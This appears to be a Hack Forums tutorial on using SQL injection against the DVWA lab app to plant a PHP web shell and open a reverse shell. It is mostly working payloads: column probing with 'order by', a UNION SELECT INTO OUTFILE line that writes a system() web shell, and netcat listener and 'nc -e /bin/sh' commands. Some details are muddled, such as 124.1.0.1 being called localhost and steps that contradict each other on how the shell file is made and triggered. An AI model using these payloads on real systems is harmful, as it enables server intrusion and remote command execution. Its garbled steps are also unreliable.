

Forum:[Hack Forums](#)

Thread: [SQL Injection to Get a Shell \(DVWA\)](#)

Sigma - July 14, 2019, 6:39 pm

For this tutorial, we are going to be running this attack on DVWA. If you do not have that on your machine, please refer to this guide to get it up. [Set Up DVWA](#)

Step 1: Open up your web browser and navigate to your DVWA login screen. Usually, you type in your localhost followed by the directory. An example looks like this 124.1.0.1/dvwa and the login using the credentials admin as the username and password as the password.

Step 2: Change the security settings to Low. Once logged in, click on the Security tab on the left-hand side menu. Then the arrow-down button -> Low. Then Submit.

Step 3: Next, click the SQL Injection tab to open up the vulnerable SQLi page. In the User ID box you are going to add a single quotation mark to check if there is a vulnerability. If it is, you should get this in return.

Step 4: Now we are going to edit the input a bit to help up return some more information about the database. So return back to the User ID box and enter this in, you should then receive another error showing us that there are only 2 columns in the database since 3 was not found.

Code ' order by 3 #

Step 5: To get a shell we must upload a PHP file to the web server. Create a PHP file using your favorite editor and save it as hack.php to the DVWA folder directory /var/www/DVWA/. Open the PHP file and enter in this code.

Code ' union select 1, '<?php system(\$_GET["cmd"]); ?>' into outfile '/var/www/DVWA/hack.php' #

Step 6: Use Netcat to get a Reverse Shell. Enter in this command to get Netcat to start listening on your localhost.

Code nc -lvp 1234

Conclusion: Lastly we will execute one last command to tell the machine to execute a shell and send it back to our machine. So we will send this command using Netcat

Code nc 124.1.0.1 1234 -e /bin/shNow you are able to run different commands due to the shell being uploaded.